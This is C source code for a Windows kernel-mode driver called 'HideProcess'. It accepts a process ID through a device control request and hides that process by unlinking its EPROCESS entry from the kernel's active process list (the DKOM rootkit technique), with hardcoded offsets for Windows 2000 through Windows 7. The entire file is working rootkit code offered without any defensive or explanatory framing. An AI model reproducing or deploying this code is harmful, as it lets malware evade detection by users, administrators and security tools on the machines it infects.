#include <ntifs.h>
typedef unsigned long DWORD;
typedef unsigned char BYTE;
typedef unsigned short int WORD;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union{
LIST_ENTRY HashLinks;
struct{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union{
ULONG TimeDataStamp;
PVOID LoadedImports;
};
//_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
#define DriverName L"\\Device\\HideProcess"
#define DosDeviceName L"\\DosDevices\\HideProcess"
NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID);
NTSTATUS CreateDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
return STATUS_SUCCESS;
}
NTSTATUS CloseDriver(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
return STATUS_SUCCESS;
}
void UnloadDriver(PDRIVER_OBJECT pDriverObject)
{
UNICODE_STRING uDosDeviceName;
RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
IoDeleteSymbolicLink(&uDosDeviceName);
IoDeleteDevice(pDriverObject->DeviceObject);
}
NTSTATUS Unsupported(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
return STATUS_NOT_SUPPORTED;
}
NTSTATUS IOCTLDispatch(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
PIO_STACK_LOCATION pIoStack = NULL;
PVOID pInBuffer = NULL;
NTSTATUS NtStatus = STATUS_SUCCESS;
pIoStack = IoGetCurrentIrpStackLocation(pIrp);
switch (pIoStack->Parameters.DeviceIoControl.IoControlCode)
{
case 0x8000000: //Your Control Code
pInBuffer = pIrp->AssociatedIrp.SystemBuffer;
if(pInBuffer)
NtStatus = HideProcessByDKOM(*(DWORD*)pInBuffer);
goto END;
default:
goto END;
}
END:
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return NtStatus;
}
NTSTATUS HideProcessByDKOM(IN DWORD dwTargetPID)
{
PLIST_ENTRY pPrevList, pCurrentList, pNextList;
ULONG MajorVersion, MinorVersion, offset = 0x00;
PEPROCESS pEprocess;
NTSTATUS NtStatus = STATUS_SUCCESS;
if(dwTargetPID == 0)
return STATUS_SUCCESS;
NtStatus = PsLookupProcessByProcessId((HANDLE)dwTargetPID, &pEprocess);
if(!NT_SUCCESS(NtStatus))
{
return NtStatus;
}
//DebugPrint("EPROCESS:0x%08X\n",pEprocess);
PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
if(MajorVersion == 5 && MinorVersion == 0) //Windows 2000
offset = 0xA0;
else if(MajorVersion == 5 && MinorVersion == 1) //Windows XP
offset = 0x88;
else if(MajorVersion == 6 && MinorVersion == 0) //Windows Vista
offset = 0xA0;
else if(MajorVersion == 6 && MinorVersion == 1) //Windows 7
offset = 0xB8;
else {
ObDereferenceObject(pEprocess);
return STATUS_UNSUCCESSFUL;
}
if(offset == 0)
return STATUS_UNSUCCESSFUL;
//Hiding
pCurrentList = (PLIST_ENTRY)((PUCHAR)pEprocess + offset);
pPrevList = (PLIST_ENTRY)pCurrentList->Blink;
pNextList = (PLIST_ENTRY)pCurrentList->Flink;
pPrevList->Flink = (PLIST_ENTRY)pNextList;
pNextList->Blink = (PLIST_ENTRY)pPrevList;
pCurrentList->Flink = (PLIST_ENTRY)pCurrentList;
pCurrentList->Blink = (PLIST_ENTRY)pCurrentList;
ObDereferenceObject(pEprocess);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
UNICODE_STRING uDriverName, uDosDeviceName;
PDEVICE_OBJECT pDeviceObject;
int iIndex = 0;
NTSTATUS NtStatus = STATUS_SUCCESS;
RtlInitUnicodeString(&uDriverName, DriverName);
RtlInitUnicodeString(&uDosDeviceName, DosDeviceName);
NtStatus = IoCreateDevice(pDriverObject, 0, &uDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject);
if(!NT_SUCCESS(NtStatus)){
if(NtStatus != STATUS_WAIT_1){
return NtStatus;
}
}
for(iIndex = 0; iIndex < IRP_MJ_MAXIMUM_FUNCTION; iIndex++)
pDriverObject->MajorFunction[iIndex] = Unsupported;
pDriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseDriver;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch;
pDriverObject->DriverUnload = UnloadDriver;
pDeviceObject->Flags |= DO_DIRECT_IO;
pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
return STATUS_SUCCESS;
}
Comments